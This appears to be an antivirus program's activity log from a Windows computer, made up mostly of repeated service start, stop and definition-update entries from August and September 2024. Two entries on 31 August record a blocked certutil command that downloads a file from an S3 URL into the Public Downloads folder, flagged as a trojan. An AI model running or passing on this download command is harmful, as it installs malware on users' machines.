2024-08-11 18:02:02 AR2DEV: Start 1 Driver: 210305 2024-08-11 18:02:02 AR2DEV: Stopped 1 2024-08-11 18:02:02 AVAVER: 21.2.2455 AR2: 240802 defs: 24081100 2024-08-11 18:02:02 ARPOT2: Start 4392 2024-08-11 18:02:02 AR2CFG: 240802 2024-08-11 18:02:02 AR2DEV: Start 1 Driver: 210305 2024-08-11 21:58:28 AVAVER: 21.2.2455 AR2: 240802 defs: 24081100 2024-08-11 21:58:28 ARPOT2: Start 5068 2024-08-11 21:58:28 AR2CFG: 240802 2024-08-11 21:58:28 AR2DEV: Start 1 Driver: 210305 2024-08-11 21:58:59 AR2DEV: Stopped 1 2024-08-11 21:58:59 AVAVER: 21.2.2455 AR2: 240802 defs: 24081104 2024-08-11 21:58:59 ARPOT2: Start 6708 2024-08-11 21:58:59 AR2CFG: 240802 2024-08-11 21:58:59 AR2DEV: Start 1 Driver: 210305 2024-08-11 21:58:59 AR2DEV: Stopped 1 2024-08-11 21:58:59 AVAVER: 21.2.2455 AR2: 240802 defs: 24081104 2024-08-11 21:58:59 ARPOT2: Start 8100 2024-08-11 21:58:59 AR2CFG: 240802 2024-08-11 21:58:59 AR2DEV: Start 1 Driver: 210305 2024-08-12 02:00:17 AR2DEV: Stopped 1 2024-08-12 02:00:17 AVAVER: 21.2.2455 AR2: 240802 defs: 24081108 2024-08-12 02:00:17 ARPOT2: Start 7680 2024-08-12 02:00:17 AR2CFG: 240802 2024-08-12 02:00:17 AR2DEV: Start 1 Driver: 210305 2024-08-12 02:00:18 AR2DEV: Stopped 1 2024-08-12 02:00:18 AVAVER: 21.2.2455 AR2: 240802 defs: 24081108 2024-08-12 02:00:18 ARPOT2: Start 3088 2024-08-12 02:00:18 AR2CFG: 240802 2024-08-12 02:00:18 AR2DEV: Start 1 Driver: 210305 2024-08-12 10:01:46 AR2DEV: Stopped 1 2024-08-12 10:01:46 AVAVER: 21.2.2455 AR2: 240802 defs: 24081112 2024-08-12 10:01:46 ARPOT2: Start 6760 2024-08-12 10:01:46 AR2CFG: 240802 2024-08-12 10:01:46 AR2DEV: Start 1 Driver: 210305 2024-08-12 10:01:46 AR2DEV: Stopped 1 2024-08-12 10:01:46 AVAVER: 21.2.2455 AR2: 240802 defs: 24081112 2024-08-12 10:01:46 ARPOT2: Start 7064 2024-08-12 10:01:46 AR2CFG: 240802 2024-08-12 10:01:46 AR2DEV: Start 1 Driver: 210305 2024-08-12 14:02:47 AR2DEV: Stopped 1 2024-08-12 14:02:47 AVAVER: 21.2.2455 AR2: 240802 defs: 24081202 2024-08-12 14:02:47 ARPOT2: Start 6852 2024-08-12 14:02:47 AR2CFG: 240802 2024-08-12 14:02:47 AR2DEV: Start 1 Driver: 210305 2024-08-12 14:02:48 AR2DEV: Stopped 1 2024-08-12 14:02:48 AVAVER: 21.2.2455 AR2: 240802 defs: 24081202 2024-08-12 14:02:48 ARPOT2: Start 7372 2024-08-12 14:02:48 AR2CFG: 240802 2024-08-12 14:02:48 AR2DEV: Start 1 Driver: 210305 2024-08-12 21:59:20 AVAVER: 21.2.2455 AR2: 240802 defs: 24081202 2024-08-12 21:59:20 ARPOT2: Start 8024 2024-08-12 21:59:20 AR2CFG: 240802 2024-08-12 21:59:20 AR2DEV: Start 1 Driver: 210305 2024-08-13 22:02:07 AVAVER: 21.2.2455 AR2: 240802 defs: 24081202 2024-08-13 22:02:07 ARPOT2: Start 6184 2024-08-13 22:02:07 AR2CFG: 240802 2024-08-13 22:02:07 AR2DEV: Start 1 Driver: 210305 2024-08-14 22:07:42 AVAVER: 21.2.2455 AR2: 240802 defs: 24081202 2024-08-14 22:07:42 ARPOT2: Start 7428 2024-08-14 22:07:42 AR2CFG: 240802 2024-08-14 22:07:42 AR2DEV: Start 1 Driver: 210305 2024-08-14 22:08:36 AR2DEV: Stopped 1 2024-08-14 22:08:36 AVAVER: 21.2.2455 AR2: 240802 defs: 24081402 2024-08-14 22:08:36 ARPOT2: Start 7940 2024-08-14 22:08:36 AR2CFG: 240812 VPS 2024-08-14 22:08:36 AR2DEV: Start 1 Driver: 210305 2024-08-14 22:08:37 AR2DEV: Stopped 1 2024-08-14 22:08:37 AVAVER: 21.2.2455 AR2: 240802 defs: 24081402 2024-08-14 22:08:37 ARPOT2: Start 6052 2024-08-14 22:08:37 AR2CFG: 240812 VPS 2024-08-14 22:08:37 AR2DEV: Start 1 Driver: 210305 2024-08-15 02:10:23 AR2DEV: Stopped 1 2024-08-15 02:10:23 AVAVER: 21.2.2455 AR2: 240812 defs: 24081404 2024-08-15 02:10:23 ARPOT2: Start 2388 2024-08-15 02:10:23 AR2CFG: 240812 2024-08-15 02:10:23 AR2DEV: Start 1 Driver: 210305 2024-08-15 02:10:23 AR2DEV: Stopped 1 2024-08-15 02:10:23 AVAVER: 21.2.2455 AR2: 240812 defs: 24081404 2024-08-15 02:10:23 ARPOT2: Start 7784 2024-08-15 02:10:23 AR2CFG: 240812 2024-08-15 02:10:23 AR2DEV: Start 1 Driver: 210305 2024-08-15 14:11:53 AR2DEV: Stopped 1 2024-08-15 14:11:53 AVAVER: 21.2.2455 AR2: 240812 defs: 24081500 2024-08-15 14:11:53 ARPOT2: Start 7956 2024-08-15 14:11:53 AR2CFG: 240812 2024-08-15 14:11:53 AR2DEV: Start 1 Driver: 210305 2024-08-15 14:11:54 AR2DEV: Stopped 1 2024-08-15 14:11:54 AVAVER: 21.2.2455 AR2: 240812 defs: 24081500 2024-08-15 14:11:54 ARPOT2: Start 7060 2024-08-15 14:11:54 AR2CFG: 240812 2024-08-15 14:11:54 AR2DEV: Start 1 Driver: 210305 2024-08-15 22:08:48 AVAVER: 21.2.2455 AR2: 240812 defs: 24081500 2024-08-15 22:08:48 ARPOT2: Start 6900 2024-08-15 22:08:48 AR2CFG: 240812 2024-08-15 22:08:48 AR2DEV: Start 1 Driver: 210305 2024-08-15 22:09:23 AR2DEV: Stopped 1 2024-08-15 22:09:23 AVAVER: 21.2.2455 AR2: 240812 defs: 24081504 2024-08-15 22:09:23 ARPOT2: Start 1752 2024-08-15 22:09:23 AR2CFG: 240812 2024-08-15 22:09:23 AR2DEV: Start 1 Driver: 210305 2024-08-15 22:09:23 AR2DEV: Stopped 1 2024-08-15 22:09:23 AVAVER: 21.2.2455 AR2: 240812 defs: 24081504 2024-08-15 22:09:23 ARPOT2: Start 6724 2024-08-15 22:09:23 AR2CFG: 240812 2024-08-15 22:09:23 AR2DEV: Start 1 Driver: 210305 2024-08-16 02:10:52 AR2DEV: Stopped 1 2024-08-16 02:10:52 AVAVER: 21.2.2455 AR2: 240812 defs: 24081506 2024-08-16 02:10:52 ARPOT2: Start 5396 2024-08-16 02:10:52 AVAVER: 21.2.2455 AR2: 240812 defs: 24081506 2024-08-16 02:10:52 ARPOT2: Start 6628 2024-08-16 02:10:52 AR2CFG: 240812 2024-08-16 02:10:52 AR2DEV: Start 1 Driver: 210305 2024-08-16 22:09:53 AVAVER: 21.2.2455 AR2: 240812 defs: 24081506 2024-08-16 22:09:53 ARPOT2: Start 6152 2024-08-16 22:09:53 AR2CFG: 240812 2024-08-16 22:09:53 AR2DEV: Start 1 Driver: 210305 2024-08-16 22:10:26 AR2DEV: Stopped 1 2024-08-16 22:10:26 AVAVER: 21.2.2455 AR2: 240812 defs: 24081602 2024-08-16 22:10:26 ARPOT2: Start 5680 2024-08-16 22:10:26 AR2CFG: 240812 2024-08-16 22:10:26 AR2DEV: Start 1 Driver: 210305 2024-08-16 22:10:26 AR2DEV: Stopped 1 2024-08-16 22:10:26 AVAVER: 21.2.2455 AR2: 240812 defs: 24081602 2024-08-16 22:10:26 ARPOT2: Start 4772 2024-08-16 22:10:26 AR2CFG: 240812 2024-08-16 22:10:26 AR2DEV: Start 1 Driver: 210305 2024-08-17 02:11:50 AR2DEV: Stopped 1 2024-08-17 02:11:51 AVAVER: 21.2.2455 AR2: 240812 defs: 24081604 2024-08-17 02:11:51 ARPOT2: Start 2836 2024-08-17 02:11:51 AR2CFG: 240812 2024-08-17 02:11:51 AR2DEV: Start 1 Driver: 210305 2024-08-17 02:11:51 AR2DEV: Stopped 1 2024-08-17 02:11:51 AVAVER: 21.2.2455 AR2: 240812 defs: 24081604 2024-08-17 02:11:51 ARPOT2: Start 6732 2024-08-17 02:11:51 AR2CFG: 240812 2024-08-17 02:11:51 AR2DEV: Start 1 Driver: 210305 2024-08-17 22:11:03 AVAVER: 21.2.2455 AR2: 240812 defs: 24081604 2024-08-17 22:11:03 ARPOT2: Start 7528 2024-08-17 22:11:03 AR2CFG: 240812 2024-08-17 22:11:03 AR2DEV: Start 1 Driver: 210305 2024-08-17 22:11:34 AR2DEV: Stopped 1 2024-08-17 22:11:34 AVAVER: 21.2.2455 AR2: 240812 defs: 24081708 2024-08-17 22:11:34 ARPOT2: Start 8152 2024-08-17 22:11:34 AR2CFG: 240812 2024-08-17 22:11:34 AR2DEV: Start 1 Driver: 210305 2024-08-17 22:11:35 AR2DEV: Stopped 1 2024-08-17 22:11:35 AVAVER: 21.2.2455 AR2: 240812 defs: 24081708 2024-08-17 22:11:35 ARPOT2: Start 3260 2024-08-17 22:11:35 AR2CFG: 240812 2024-08-17 22:11:35 AR2DEV: Start 1 Driver: 210305 2024-08-18 02:12:57 AR2DEV: Stopped 1 2024-08-18 02:12:57 AVAVER: 21.2.2455 AR2: 240812 defs: 24081710 2024-08-18 02:12:57 ARPOT2: Start 3492 2024-08-18 02:12:57 AR2CFG: 240812 2024-08-18 02:12:57 AR2DEV: Start 1 Driver: 210305 2024-08-18 02:12:58 AR2DEV: Stopped 1 2024-08-18 02:12:58 AVAVER: 21.2.2455 AR2: 240812 defs: 24081710 2024-08-18 02:12:58 ARPOT2: Start 6916 2024-08-18 02:12:58 AR2CFG: 240812 2024-08-18 02:12:58 AR2DEV: Start 1 Driver: 210305 2024-08-18 06:14:13 AR2DEV: Stopped 1 2024-08-18 06:14:13 AVAVER: 21.2.2455 AR2: 240812 defs: 24081712 2024-08-18 06:14:13 ARPOT2: Start 2380 2024-08-18 06:14:13 AR2CFG: 240812 2024-08-18 06:14:13 AR2DEV: Start 1 Driver: 210305 2024-08-18 06:14:14 AR2DEV: Stopped 1 2024-08-18 06:14:14 AVAVER: 21.2.2455 AR2: 240812 defs: 24081712 2024-08-18 06:14:14 ARPOT2: Start 6664 2024-08-18 06:14:14 AR2CFG: 240812 2024-08-18 06:14:14 AR2DEV: Start 1 Driver: 210305 2024-08-18 14:15:34 AR2DEV: Stopped 1 2024-08-18 14:15:34 AVAVER: 21.2.2455 AR2: 240812 defs: 24081800 2024-08-18 14:15:34 ARPOT2: Start 7596 2024-08-18 14:15:34 AR2CFG: 240812 2024-08-18 14:15:34 AR2DEV: Start 1 Driver: 210305 2024-08-18 14:15:35 AR2DEV: Stopped 1 2024-08-18 14:15:35 AVAVER: 21.2.2455 AR2: 240812 defs: 24081800 2024-08-18 14:15:35 ARPOT2: Start 3400 2024-08-18 14:15:35 AR2CFG: 240812 2024-08-18 14:15:35 AR2DEV: Start 1 Driver: 210305 2024-08-18 22:12:04 AVAVER: 21.2.2455 AR2: 240812 defs: 24081800 2024-08-18 22:12:04 ARPOT2: Start 6660 2024-08-18 22:12:04 AR2CFG: 240812 2024-08-18 22:12:04 AR2DEV: Start 1 Driver: 210305 2024-08-18 22:12:35 AR2DEV: Stopped 1 2024-08-18 22:12:35 AVAVER: 21.2.2455 AR2: 240812 defs: 24081802 2024-08-18 22:12:35 ARPOT2: Start 7340 2024-08-18 22:12:35 AR2CFG: 240812 2024-08-18 22:12:35 AR2DEV: Start 1 Driver: 210305 2024-08-18 22:12:36 AR2DEV: Stopped 1 2024-08-18 22:12:36 AVAVER: 21.2.2455 AR2: 240812 defs: 24081802 2024-08-18 22:12:36 ARPOT2: Start 4860 2024-08-18 22:12:36 AR2CFG: 240812 2024-08-18 22:12:36 AR2DEV: Start 1 Driver: 210305 2024-08-19 02:14:00 AR2DEV: Stopped 1 2024-08-19 02:14:00 AVAVER: 21.2.2455 AR2: 240812 defs: 24081806 2024-08-19 02:14:00 ARPOT2: Start 5888 2024-08-19 02:14:00 AR2CFG: 240812 2024-08-19 02:14:00 AR2DEV: Start 1 Driver: 210305 2024-08-19 02:14:01 AR2DEV: Stopped 1 2024-08-19 02:14:01 AVAVER: 21.2.2455 AR2: 240812 defs: 24081806 2024-08-19 02:14:01 ARPOT2: Start 7932 2024-08-19 02:14:01 AR2CFG: 240812 2024-08-19 02:14:01 AR2DEV: Start 1 Driver: 210305 2024-08-19 14:15:31 AR2DEV: Stopped 1 2024-08-19 14:15:31 AVAVER: 21.2.2455 AR2: 240812 defs: 24081900 2024-08-19 14:15:31 ARPOT2: Start 6208 2024-08-19 14:15:31 AR2CFG: 240812 2024-08-19 14:15:32 AR2DEV: Start 1 Driver: 210305 2024-08-19 14:15:32 AR2DEV: Stopped 1 2024-08-19 14:15:32 AVAVER: 21.2.2455 AR2: 240812 defs: 24081900 2024-08-19 14:15:32 ARPOT2: Start 7780 2024-08-19 14:15:32 AR2CFG: 240812 2024-08-19 14:15:32 AR2DEV: Start 1 Driver: 210305 2024-08-19 22:13:05 AVAVER: 21.2.2455 AR2: 240812 defs: 24081900 2024-08-19 22:13:05 ARPOT2: Start 3696 2024-08-19 22:13:05 AR2CFG: 240812 2024-08-19 22:13:05 AR2DEV: Start 1 Driver: 210305 2024-08-19 22:13:35 AR2DEV: Stopped 1 2024-08-19 22:13:35 AVAVER: 21.2.2455 AR2: 240812 defs: 24081902 2024-08-19 22:13:35 ARPOT2: Start 6936 2024-08-19 22:13:35 AR2CFG: 240812 2024-08-19 22:13:35 AR2DEV: Start 1 Driver: 210305 2024-08-19 22:13:35 AR2DEV: Stopped 1 2024-08-19 22:13:35 AVAVER: 21.2.2455 AR2: 240812 defs: 24081902 2024-08-19 22:13:35 ARPOT2: Start 2352 2024-08-19 22:13:35 AR2CFG: 240812 2024-08-19 22:13:35 AR2DEV: Start 1 Driver: 210305 2024-08-20 18:15:28 AR2DEV: Stopped 1 2024-08-20 18:15:28 AVAVER: 21.2.2455 AR2: 240812 defs: 24082002 2024-08-20 18:15:28 ARPOT2: Start 7528 2024-08-20 18:15:28 AR2CFG: 240812 2024-08-20 18:15:28 AR2DEV: Start 1 Driver: 210305 2024-08-20 18:15:28 AR2DEV: Stopped 1 2024-08-20 18:15:28 AVAVER: 21.2.2455 AR2: 240812 defs: 24082002 2024-08-20 18:15:28 ARPOT2: Start 6400 2024-08-20 18:15:28 AR2CFG: 240812 2024-08-20 18:15:28 AR2DEV: Start 1 Driver: 210305 2024-08-20 22:14:10 AVAVER: 21.2.2455 AR2: 240812 defs: 24082002 2024-08-20 22:14:10 ARPOT2: Start 7788 2024-08-20 22:14:10 AR2CFG: 240812 2024-08-20 22:14:10 AR2DEV: Start 1 Driver: 210305 2024-08-21 22:18:48 AVAVER: 21.2.2455 AR2: 240812 defs: 24082002 2024-08-21 22:18:48 ARPOT2: Start 7328 2024-08-21 22:18:48 AR2CFG: 240812 2024-08-21 22:18:48 AR2DEV: Start 1 Driver: 210305 2024-08-21 22:19:43 AR2DEV: Stopped 1 2024-08-21 22:19:43 AVAVER: 21.2.2455 AR2: 240812 defs: 24082100 2024-08-21 22:19:43 ARPOT2: Start 1752 2024-08-21 22:19:43 AR2CFG: 240812 2024-08-21 22:19:43 AR2DEV: Start 1 Driver: 210305 2024-08-21 22:19:45 AR2DEV: Stopped 1 2024-08-21 22:19:45 AVAVER: 21.2.2455 AR2: 240812 defs: 24082100 2024-08-21 22:19:45 ARPOT2: Start 7376 2024-08-21 22:19:45 AR2CFG: 240812 2024-08-21 22:19:45 AR2DEV: Start 1 Driver: 210305 2024-08-22 06:21:34 AR2DEV: Stopped 1 2024-08-22 06:21:34 AVAVER: 21.2.2455 AR2: 240812 defs: 24082110 2024-08-22 06:21:34 ARPOT2: Start 4872 2024-08-22 06:21:34 AR2CFG: 240812 2024-08-22 06:21:34 AR2DEV: Start 1 Driver: 210305 2024-08-22 06:21:35 AR2DEV: Stopped 1 2024-08-22 06:21:35 AVAVER: 21.2.2455 AR2: 240812 defs: 24082110 2024-08-22 06:21:35 ARPOT2: Start 7896 2024-08-22 06:21:35 AR2CFG: 240812 2024-08-22 06:21:35 AR2DEV: Start 1 Driver: 210305 2024-08-22 14:22:48 AR2DEV: Stopped 1 2024-08-22 14:22:48 AVAVER: 21.2.2455 AR2: 240812 defs: 24082200 2024-08-22 14:22:48 ARPOT2: Start 8180 2024-08-22 14:22:48 AR2CFG: 240812 2024-08-22 14:22:48 AR2DEV: Start 1 Driver: 210305 2024-08-22 14:22:48 AR2DEV: Stopped 1 2024-08-22 14:22:48 AVAVER: 21.2.2455 AR2: 240812 defs: 24082200 2024-08-22 14:22:48 ARPOT2: Start 2544 2024-08-22 14:22:48 AR2CFG: 240812 2024-08-22 14:22:48 AR2DEV: Start 1 Driver: 210305 2024-08-22 22:19:50 AVAVER: 21.2.2455 AR2: 240812 defs: 24082200 2024-08-22 22:19:50 ARPOT2: Start 8140 2024-08-22 22:19:50 AR2CFG: 240812 2024-08-22 22:19:50 AR2DEV: Start 1 Driver: 210305 2024-08-22 22:20:20 AR2DEV: Stopped 1 2024-08-22 22:20:20 AVAVER: 21.2.2455 AR2: 240812 defs: 24082202 2024-08-22 22:20:20 ARPOT2: Start 4760 2024-08-22 22:20:20 AR2CFG: 240812 2024-08-22 22:20:20 AR2DEV: Start 1 Driver: 210305 2024-08-22 22:20:21 AR2DEV: Stopped 1 2024-08-22 22:20:21 AVAVER: 21.2.2455 AR2: 240812 defs: 24082202 2024-08-22 22:20:21 ARPOT2: Start 2952 2024-08-22 22:20:21 AR2CFG: 240812 2024-08-22 22:20:21 AR2DEV: Start 1 Driver: 210305 2024-08-23 02:21:37 AR2DEV: Stopped 1 2024-08-23 02:21:37 AVAVER: 21.2.2455 AR2: 240812 defs: 24082204 2024-08-23 02:21:37 ARPOT2: Start 2868 2024-08-23 02:21:37 AR2CFG: 240812 2024-08-23 02:21:37 AR2DEV: Start 1 Driver: 210305 2024-08-23 02:21:37 AR2DEV: Stopped 1 2024-08-23 02:21:37 AVAVER: 21.2.2455 AR2: 240812 defs: 24082204 2024-08-23 02:21:37 ARPOT2: Start 5084 2024-08-23 02:21:37 AR2CFG: 240812 2024-08-23 02:21:37 AR2DEV: Start 1 Driver: 210305 2024-08-23 22:21:03 AVAVER: 21.2.2455 AR2: 240812 defs: 24082204 2024-08-23 22:21:03 ARPOT2: Start 7540 2024-08-23 22:21:03 AR2CFG: 240812 2024-08-23 22:21:03 AR2DEV: Start 1 Driver: 210305 2024-08-24 22:23:50 AVAVER: 21.2.2455 AR2: 240812 defs: 24082204 2024-08-24 22:23:50 ARPOT2: Start 7956 2024-08-24 22:23:50 AR2CFG: 240812 2024-08-24 22:23:50 AR2DEV: Start 1 Driver: 210305 2024-08-25 22:26:55 AVAVER: 21.2.2455 AR2: 240812 defs: 24082204 2024-08-25 22:26:55 ARPOT2: Start 8008 2024-08-25 22:26:55 AR2CFG: 240812 2024-08-25 22:26:55 AR2DEV: Start 1 Driver: 210305 2024-08-26 22:30:04 AVAVER: 21.2.2455 AR2: 240812 defs: 24082204 2024-08-26 22:30:04 ARPOT2: Start 7556 2024-08-26 22:30:04 AR2CFG: 240812 2024-08-26 22:30:04 AR2DEV: Start 1 Driver: 210305 2024-08-26 22:31:02 AR2DEV: Stopped 1 2024-08-26 22:31:02 AVAVER: 21.2.2455 AR2: 240812 defs: 24082602 2024-08-26 22:31:02 ARPOT2: Start 5808 2024-08-26 22:31:02 AR2CFG: 240812 2024-08-26 22:31:02 AR2DEV: Start 1 Driver: 210305 2024-08-26 22:31:06 AR2DEV: Stopped 1 2024-08-26 22:31:06 AVAVER: 21.2.2455 AR2: 240812 defs: 24082602 2024-08-26 22:31:06 ARPOT2: Start 1028 2024-08-26 22:31:06 AR2CFG: 240812 2024-08-26 22:31:06 AR2DEV: Start 1 Driver: 210305 2024-08-27 02:32:47 AR2DEV: Stopped 1 2024-08-27 02:32:47 AVAVER: 21.2.2455 AR2: 240812 defs: 24082604 2024-08-27 02:32:47 ARPOT2: Start 3884 2024-08-27 02:32:47 AR2CFG: 240812 2024-08-27 02:32:47 AR2DEV: Start 1 Driver: 210305 2024-08-27 02:32:47 AR2DEV: Stopped 1 2024-08-27 02:32:47 AVAVER: 21.2.2455 AR2: 240812 defs: 24082604 2024-08-27 02:32:47 ARPOT2: Start 7052 2024-08-27 02:32:47 AR2CFG: 240812 2024-08-27 02:32:47 AR2DEV: Start 1 Driver: 210305 2024-08-27 22:31:06 AVAVER: 21.2.2455 AR2: 240812 defs: 24082604 2024-08-27 22:31:06 ARPOT2: Start 7176 2024-08-27 22:31:06 AR2CFG: 240812 2024-08-27 22:31:06 AR2DEV: Start 1 Driver: 210305 2024-08-27 22:31:38 AR2DEV: Stopped 1 2024-08-27 22:31:38 AVAVER: 21.2.2455 AR2: 240812 defs: 24082704 2024-08-27 22:31:38 ARPOT2: Start 5212 2024-08-27 22:31:38 AR2CFG: 240812 2024-08-27 22:31:38 AR2DEV: Start 1 Driver: 210305 2024-08-27 22:31:39 AR2DEV: Stopped 1 2024-08-27 22:31:39 AVAVER: 21.2.2455 AR2: 240812 defs: 24082704 2024-08-27 22:31:39 ARPOT2: Start 2504 2024-08-27 22:31:39 AR2CFG: 240812 2024-08-27 22:31:39 AR2DEV: Start 1 Driver: 210305 2024-08-28 02:33:06 AR2DEV: Stopped 1 2024-08-28 02:33:06 AVAVER: 21.2.2455 AR2: 240812 defs: 24082708 2024-08-28 02:33:06 ARPOT2: Start 5812 2024-08-28 02:33:07 AR2CFG: 240812 2024-08-28 02:33:07 AR2DEV: Start 1 Driver: 210305 2024-08-28 02:33:07 AR2DEV: Stopped 1 2024-08-28 02:33:07 AVAVER: 21.2.2455 AR2: 240812 defs: 24082708 2024-08-28 02:33:07 ARPOT2: Start 4248 2024-08-28 02:33:07 AR2CFG: 240812 2024-08-28 02:33:07 AR2DEV: Start 1 Driver: 210305 2024-08-28 18:34:45 AR2DEV: Stopped 1 2024-08-28 18:34:45 AVAVER: 21.2.2455 AR2: 240812 defs: 24082800 2024-08-28 18:34:45 ARPOT2: Start 2136 2024-08-28 18:34:45 AR2CFG: 240827 VPS 2024-08-28 18:34:45 AR2DEV: Start 1 Driver: 210305 2024-08-28 18:34:46 AR2DEV: Stopped 1 2024-08-28 18:34:46 AVAVER: 21.2.2455 AR2: 240812 defs: 24082800 2024-08-28 18:34:46 ARPOT2: Start 7460 2024-08-28 18:34:46 AR2CFG: 240827 VPS 2024-08-28 18:34:46 AR2DEV: Start 1 Driver: 210305 2024-08-28 22:32:11 AVAVER: 21.2.2455 AR2: 240812 defs: 24082800 2024-08-28 22:32:11 ARPOT2: Start 2064 2024-08-28 22:32:11 AR2CFG: 240827 VPS 2024-08-28 22:32:11 AR2DEV: Start 1 Driver: 210305 2024-08-28 22:32:42 AR2DEV: Stopped 1 2024-08-28 22:32:42 AVAVER: 21.2.2455 AR2: 240812 defs: 24082804 2024-08-28 22:32:42 ARPOT2: Start 8076 2024-08-28 22:32:42 AR2CFG: 240827 VPS 2024-08-28 22:32:42 AR2DEV: Start 1 Driver: 210305 2024-08-28 22:32:42 AR2DEV: Stopped 1 2024-08-28 22:32:42 AVAVER: 21.2.2455 AR2: 240812 defs: 24082804 2024-08-28 22:32:42 ARPOT2: Start 7584 2024-08-28 22:32:42 AR2CFG: 240827 VPS 2024-08-28 22:32:42 AR2DEV: Start 1 Driver: 210305 2024-08-29 02:33:56 AR2DEV: Stopped 1 2024-08-29 02:33:56 AVAVER: 21.2.2455 AR2: 240812 defs: 24082808 2024-08-29 02:33:56 ARPOT2: Start 1880 2024-08-29 02:33:56 AR2CFG: 240827 VPS 2024-08-29 02:33:57 AR2DEV: Start 1 Driver: 210305 2024-08-29 02:33:57 AR2DEV: Stopped 1 2024-08-29 02:33:57 AVAVER: 21.2.2455 AR2: 240812 defs: 24082808 2024-08-29 02:33:57 ARPOT2: Start 6004 2024-08-29 02:33:57 AR2CFG: 240827 VPS 2024-08-29 02:33:57 AR2DEV: Start 1 Driver: 210305 2024-08-29 14:35:32 AR2DEV: Stopped 1 2024-08-29 14:35:32 AVAVER: 21.2.2455 AR2: 240812 defs: 24082900 2024-08-29 14:35:32 ARPOT2: Start 7284 2024-08-29 14:35:32 AR2CFG: 240827 VPS 2024-08-29 14:35:32 AR2DEV: Start 1 Driver: 210305 2024-08-29 14:35:32 AR2DEV: Stopped 1 2024-08-29 14:35:32 AVAVER: 21.2.2455 AR2: 240812 defs: 24082900 2024-08-29 14:35:32 ARPOT2: Start 5640 2024-08-29 14:35:32 AR2CFG: 240827 VPS 2024-08-29 14:35:32 AR2DEV: Start 1 Driver: 210305 2024-08-29 22:33:15 AVAVER: 21.2.2455 AR2: 240812 defs: 24082900 2024-08-29 22:33:15 ARPOT2: Start 4780 2024-08-29 22:33:15 AR2CFG: 240827 VPS 2024-08-29 22:33:15 AR2DEV: Start 1 Driver: 210305 2024-08-30 22:36:18 AVAVER: 21.2.2455 AR2: 240812 defs: 24082900 2024-08-30 22:36:18 ARPOT2: Start 7236 2024-08-30 22:36:18 AR2CFG: 240827 VPS 2024-08-30 22:36:18 AR2DEV: Start 1 Driver: 210305 2024-08-30 22:37:15 AR2DEV: Stopped 1 2024-08-30 22:37:15 AVAVER: 21.2.2455 AR2: 240828 defs: 24083004 2024-08-30 22:37:15 ARPOT2: Start 5020 2024-08-30 22:37:15 AR2CFG: 240828 2024-08-30 22:37:15 AR2DEV: Start 1 Driver: 210305 2024-08-30 22:37:16 AR2DEV: Stopped 1 2024-08-30 22:37:16 AVAVER: 21.2.2455 AR2: 240828 defs: 24083004 2024-08-30 22:37:16 ARPOT2: Start 6036 2024-08-30 22:37:16 AR2CFG: 240828 2024-08-30 22:37:16 AR2DEV: Start 1 Driver: 210305 2024-08-31 12:07:01 NOTIFY: SUSPIC C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3A569187CD7147B1BBE21271C4DA0A7A C:\Windows\system32\certutil.exe -urlcache -split -f http://beautyundercoverproduction.s3.amazonaws.com/avOcQy4IGSZyf C:/Users/Public/Downloads/1.exe" Win64:TrojanX-gen [Trj]|PPH000781F263B800093429648D000BA4B077FE00131F4C0628|agdp 2024-08-31 12:07:01 FILESU: C:\Windows\system32\certutil.exe VIR:0 SIGN:0 2024-08-31 12:07:03 NOTIFY: SUSPIC C:\Users\Public\Downloads\1.exe C:\Windows\system32\certutil.exe -urlcache -split -f http://beautyundercoverproduction.s3.amazonaws.com/avOcQy4IGSZyf C:/Users/Public/Downloads/1.exe" Win64:TrojanX-gen [Trj]|PPH000781F263B800093429648D000BA4B077FE00131F4C0628|agdp 2024-08-31 12:07:03 FILESU: C:\Windows\system32\certutil.exe VIR:0 SIGN:0 2024-08-31 22:37:26 AVAVER: 21.2.2455 AR2: 240828 defs: 24083104 2024-08-31 22:37:26 ARPOT2: Start 5932 2024-08-31 22:37:26 AR2CFG: 240828 2024-08-31 22:37:26 AR2DEV: Start 1 Driver: 210305 2024-09-01 02:38:06 AR2DEV: Stopped 1 2024-09-01 02:38:06 AVAVER: 21.2.2455 AR2: 240828 defs: 24083106 2024-09-01 02:38:06 ARPOT2: Start 7512 2024-09-01 02:38:06 AR2CFG: 240828 2024-09-01 02:38:06 AR2DEV: Start 1 Driver: 210305 2024-09-01 02:38:07 AR2DEV: Stopped 1 2024-09-01 02:38:07 AVAVER: 21.2.2455 AR2: 240828 defs: 24083106 2024-09-01 02:38:07 ARPOT2: Start 3752 2024-09-01 02:38:07 AR2CFG: 240828 2024-09-01 02:38:07 AR2DEV: Start 1 Driver: 210305 2024-09-01 22:38:32 AVAVER: 21.2.2455 AR2: 240828 defs: 24083106 2024-09-01 22:38:32 ARPOT2: Start 7228 2024-09-01 22:38:32 AR2CFG: 240828 2024-09-01 22:38:32 AR2DEV: Start 1 Driver: 210305 2024-09-01 22:39:11 AR2DEV: Stopped 1 2024-09-01 22:39:11 AVAVER: 21.2.2455 AR2: 240828 defs: 24090104 2024-09-01 22:39:11 ARPOT2: Start 2216 2024-09-01 22:39:11 AR2CFG: 240828 2024-09-01 22:39:11 AR2DEV: Start 1 Driver: 210305 2024-09-01 22:39:12 AR2DEV: Stopped 1 2024-09-01 22:39:12 AVAVER: 21.2.2455 AR2: 240828 defs: 24090104 2024-09-01 22:39:12 ARPOT2: Start 7424 2024-09-01 22:39:12 AR2CFG: 240828 2024-09-01 22:39:12 AR2DEV: Start 1 Driver: 210305 2024-09-02 02:40:34 AR2DEV: Stopped 1 2024-09-02 02:40:34 AVAVER: 21.2.2455 AR2: 240828 defs: 24090108 2024-09-02 02:40:34 ARPOT2: Start 7872 2024-09-02 02:40:34 AR2CFG: 240828 2024-09-02 02:40:34 AR2DEV: Start 1 Driver: 210305 2024-09-02 02:40:35 AR2DEV: Stopped 1 2024-09-02 02:40:35 AVAVER: 21.2.2455 AR2: 240828 defs: 24090108 2024-09-02 02:40:35 ARPOT2: Start 7480 2024-09-02 02:40:35 AR2CFG: 240828 2024-09-02 02:40:35 AR2DEV: Start 1 Driver: 210305 2024-09-02 15:22:59 AR2DEV: Stopped 1 2024-09-02 15:22:59 AVAVER: 21.2.2455 AR2: 240830 defs: 24090200 2024-09-02 15:22:59 ARPOT2: Start 2272 2024-09-02 15:22:59 AR2CFG: 240830 2024-09-02 15:22:59 AR2DEV: Start 1 Driver: 210305 2024-09-02 15:22:59 AR2DEV: Stopped 1 2024-09-02 15:22:59 AVAVER: 21.2.2455 AR2: 240830 defs: 24090200 2024-09-02 15:22:59 ARPOT2: Start 8072 2024-09-02 15:22:59 